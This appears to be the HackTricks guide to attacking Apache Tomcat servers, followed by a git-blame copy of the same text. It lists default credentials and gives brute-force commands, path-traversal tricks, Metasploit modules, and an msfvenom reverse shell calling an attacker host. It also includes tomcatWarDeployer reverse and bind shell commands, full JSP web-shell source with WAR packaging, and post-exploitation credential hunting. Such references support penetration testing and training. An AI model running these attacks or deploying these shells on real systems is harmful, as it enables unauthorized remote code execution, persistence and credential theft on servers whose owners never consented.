hacktricks/network-services-pentesting/pentesting-web/tomcat/README.md

# Tomcat

<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>

## Discovery

* It usually runs on **port 8080**
* **Common Tomcat error:**

<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>

## Enumeration

### Version

```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat 

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author" 
```

### Locate manager files

It's interesting to find where are the pages **`/manager`** and **`/host-manager`** as they might have a different name. You can search them with a brute-force.

### Username Enum

In some versions prior to Tomcat6 you could enumerate users:

```bash
msf> use auxiliary/scanner/http/tomcat_enum
```

### Default credentials

The most interesting path of Tomcat is _**/manager/html**_, inside that **path you can upload and deploy war files** (execute code). But this path is protected by basic HTTP auth, the most common credentials are:

* admin:admin
* tomcat:tomcat
* admin:\<NOTHING>
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat

You could test these and more using:

```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```

Another **interesting Tomcat** path is _**/manager/status**_, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access _**/manager/html.**_

### Bruteforce

```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>
```

## Vulns

### Password backtrace disclosure

Try to access `/auth.jsp` and if you are very lucky it **might disclose the password in a backtrace**.

### Double URL encode

A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows **Double URL encode path traversal.**

In order to access to the management web of the Tomcat go to: _pathTomcat/%252E%252E/manager/html_

Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token.\
To access to backdoor you might also need to use the double urlencode trick.

### /examples

The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from [here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).

* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp

### Path Traversal (..;/)

In some [**vulnerable configurations of Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) you can gain access to protected directories in Tomcat using the path: `/..;/`

So, for example, you might be able to **access the Tomcat manager** page by accessing: `www.vulnerable.com/lalala/..;/manager/html`

**Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html`

## RCE

Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)**.

### Limitations

You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin**, **manager** and **manager-script**). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](./#post)section).

```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```

### Metasploit

```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```

### MSFVenom Reverse Shell

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
```

Then, **upload the `revshell.war` file and access to it (**_**/revshell/**_**)**

### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)

In some scenarios this doesn't work (for example old versions of sun)

#### Download

```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```

#### Reverse shell

```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```

#### Bind shell

```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```

### Using [Culsterd](https://github.com/hatRiot/clusterd)

```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```

### Manual method - Web shell

Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):

```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>
```

```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```

You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)

### Manual Method 2

Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file:

```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp 
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```

## POST

Name of Tomcat credentials file is _tomcat-users.xml_

```bash
find / -name tomcat-users.xml 2>/dev/null
```

Other ways to gather Tomcat credentials:

```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```

## Other tomcat scanning tools

* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)

<details>

<summary><strong>Support HackTricks and get benefits!</strong></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**

</details>
GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`# Tomcat`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
			`<details>`

			`<summary><strong>Support HackTricks and get benefits!</strong></summary>`

GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`* Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
			`* Join the [💬](https://emojipedia.org/speech-balloon/) [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/carlospolopm).`
			`* Share your hacking tricks by submitting PRs to the [hacktricks github repo](https://github.com/carlospolop/hacktricks).`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`</details>`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`## Discovery`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`* It usually runs on port 8080`
			`* Common Tomcat error:`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`## Enumeration`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`### Version`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			```bash
			`curl -s http://tomcat-site.local:8080/docs/ \| grep Tomcat`

			`<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"`
			```
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`### Locate manager files`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			It's interesting to find where are the pages `/manager` and `/host-manager` as they might have a different name. You can search them with a brute-force.

			`### Username Enum`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			`In some versions prior to Tomcat6 you could enumerate users:`

			```bash
			`msf> use auxiliary/scanner/http/tomcat_enum`
			```

GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`### Default credentials`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#2914] No subject 2021-12-23 18:13:55 +00:00			`The most interesting path of Tomcat is _/manager/html_, inside that path you can upload and deploy war files (execute code). But this path is protected by basic HTTP auth, the most common credentials are:`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			`* admin:admin`
			`* tomcat:tomcat`
GitBook: [#2914] No subject 2021-12-23 18:13:55 +00:00			`* admin:\<NOTHING>`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00			`* admin:s3cr3t`
			`* tomcat:s3cr3t`
			`* admin:tomcat`

			`You could test these and more using:`

			```bash
			`msf> use auxiliary/scanner/http/tomcat_mgr_login`
			```

GitBook: [master] one page modified 2021-08-29 14:16:38 +00:00			`Another interesting Tomcat path is _/manager/status_, where you can see the version of the OS and Tomcat. This is useful to find vulns affecting the version of Tomcat when you cannot access _/manager/html._`

GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`### Bruteforce`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```bash
			`hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html`
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00
			`msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal`
			`msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180`
			`msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true`
			`msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00			```

GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`## Vulns`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`### Password backtrace disclosure`
GitBook: [#2951] No subject 2022-01-16 17:15:05 +00:00
			Try to access `/auth.jsp` and if you are very lucky it might disclose the password in a backtrace.

GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`### Double URL encode`
GitBook: [master] one page modified 2021-03-24 12:52:26 +00:00
GitBook: [master] 514 pages and 4 assets modified 2021-09-12 10:36:22 +00:00			`A well-known vulnerability _to_ access the application manager \_\_ is mod\_jk in CVE-2007-1860, that allows Double URL encode path traversal.`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			`In order to access to the management web of the Tomcat go to: _pathTomcat/%252E%252E/manager/html_`

GitBook: [#2914] No subject 2021-12-23 18:13:55 +00:00			`Take into account that to upload the webshell you might need to use the double urlencode trick and send also a cookie and/or a SSRF token.\`
Fixing typos. 2021-09-10 08:33:24 +00:00			`To access to backdoor you might also need to use the double urlencode trick.`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`### /examples`
GitBook: [master] one page modified 2021-03-24 12:52:26 +00:00
GitBook: [#2914] No subject 2021-12-23 18:13:55 +00:00			`The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection (from [here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)).`
GitBook: [master] one page modified 2021-03-24 12:52:26 +00:00
			`* /examples/jsp/num/numguess.jsp`
			`* /examples/jsp/dates/date.jsp`
			`* /examples/jsp/snp/snoop.jsp`
			`* /examples/jsp/error/error.html`
			`* /examples/jsp/sessions/carts.html`
			`* /examples/jsp/checkbox/check.html`
			`* /examples/jsp/colors/colors.html`
			`* /examples/jsp/cal/login.html`
			`* /examples/jsp/include/include.jsp`
			`* /examples/jsp/forward/forward.jsp`
			`* /examples/jsp/plugin/plugin.jsp`
			`* /examples/jsp/jsptoserv/jsptoservlet.jsp`
			`* /examples/jsp/simpletag/foo.jsp`
			`* /examples/jsp/mail/sendmail.jsp`
			`* /examples/servlet/HelloWorldExample`
			`* /examples/servlet/RequestInfoExample`
			`* /examples/servlet/RequestHeaderExample`
			`* /examples/servlet/RequestParamExample`
			`* /examples/servlet/CookieExample`
			`* /examples/servlet/JndiServlet`
			`* /examples/servlet/SessionExample`
			`* /tomcat-docs/appdev/sample/web/hello.jsp`

GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`### Path Traversal (..;/)`
GitBook: [#2914] No subject 2021-12-23 18:13:55 +00:00
GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			In some [vulnerable configurations of Tomcat](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) you can gain access to protected directories in Tomcat using the path: `/..;/`
GitBook: [#2914] No subject 2021-12-23 18:13:55 +00:00
Update tomcat.md Fix Typo 2022-04-28 14:55:20 +00:00			So, for example, you might be able to access the Tomcat manager page by accessing: `www.vulnerable.com/lalala/..;/manager/html`
GitBook: [#2914] No subject 2021-12-23 18:13:55 +00:00
			Another way to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html`

GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`## RCE`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#2914] No subject 2021-12-23 18:13:55 +00:00			`Finally, if you have access to the Tomcat Web Application Manager, you can upload and deploy a .war file (execute code).`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`### Limitations`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			You will only be able to deploy a WAR if you have enough privileges (roles: admin, manager and manager-script). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](./#post)section).
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```bash
			`# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed`

			`# deploy under "path" context path`
GitBook: [master] 2 pages modified 2021-08-22 16:26:27 +00:00			`curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			`# undeploy`
GitBook: [master] one page modified 2021-08-22 01:54:08 +00:00			`curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00			```

GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`### Metasploit`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```bash
			`use exploit/multi/http/tomcat_mgr_upload`
			`msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>`
			`msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>`
			`msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>`
			`msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>`
			`msf exploit(multi/http/tomcat_mgr_upload) > exploit`
			```

GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`### MSFVenom Reverse Shell`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```bash
			`msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war`
			```

GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			Then, upload the `revshell.war` file and access to it (_/revshell/_)
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#2914] No subject 2021-12-23 18:13:55 +00:00			`In some scenarios this doesn't work (for example old versions of sun)`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`#### Download`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```bash
			`git clone https://github.com/mgeeky/tomcatWarDeployer.git`
			```

GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`#### Reverse shell`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```bash
GitBook: [master] one page modified 2021-08-29 13:51:49 +00:00			`./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00			```

GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`#### Bind shell`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```bash
			`./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/`
			```

GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`### Using [Culsterd](https://github.com/hatRiot/clusterd)`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```bash
			`clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows`
			```

GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`### Manual method - Web shell`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`Create index.jsp with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```java
			`<FORM METHOD=GET ACTION='index.jsp'>`
			`<INPUT name='cmd' type=text>`
			`<INPUT type=submit value='Run'>`
			`</FORM>`
			`<%@ page import="java.io.*" %>`
			`<%`
			`String cmd = request.getParameter("cmd");`
			`String output = "";`
			`if(cmd != null) {`
			`String s = null;`
			`try {`
			`Process p = Runtime.getRuntime().exec(cmd,null,null);`
			`BufferedReader sI = new BufferedReader(new`
			`InputStreamReader(p.getInputStream()));`
			`while((s = sI.readLine()) != null) { output += s+"</br>"; }`
			`} catch(IOException e) { e.printStackTrace(); }`
			`}`
			`%>`
			`<pre><%=output %></pre>`
			```

			```bash
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`mkdir webshell`
			`cp index.jsp webshell`
			`cd webshell`
			`jar -cvf ../webshell.war *`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00			`webshell.war is created`
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`# Upload it`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00			```

GitBook: [#2914] No subject 2021-12-23 18:13:55 +00:00			`You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`### Manual Method 2`

			`Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file:`

			```bash
			`wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp`
			`zip -r backup.war cmd.jsp`
			`# When this file is uploaded to the manager GUI, the /backup application will be added to the table.`
			`# Go to: http://tomcat-site.local:8180/backup/cmd.jsp`
			```

GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`## POST`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [master] 514 pages and 4 assets modified 2021-09-12 10:36:22 +00:00			`Name of Tomcat credentials file is _tomcat-users.xml_`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```bash
			`find / -name tomcat-users.xml 2>/dev/null`
			```

Fixing typos. 2021-09-10 08:33:24 +00:00			`Other ways to gather Tomcat credentials:`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```bash
			`msf> use post/multi/gather/tomcat_gather`
			`msf> use post/windows/gather/enum_tomcat`
			```
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
GitBook: [#3343] No subject 2022-07-31 22:37:48 +00:00			`## Other tomcat scanning tools`

			`* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
			`<details>`

			`<summary><strong>Support HackTricks and get benefits!</strong></summary>`

GitBook: [#3536] No subject 2022-10-02 23:29:55 +00:00			`* Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)!`
			`* Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com)`
			`* Join the [💬](https://emojipedia.org/speech-balloon/) [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/carlospolopm).`
			`* Share your hacking tricks by submitting PRs to the [hacktricks github repo](https://github.com/carlospolop/hacktricks).`
Ad hacktricks sponsoring 2022-04-28 16:01:33 +00:00
			`</details>`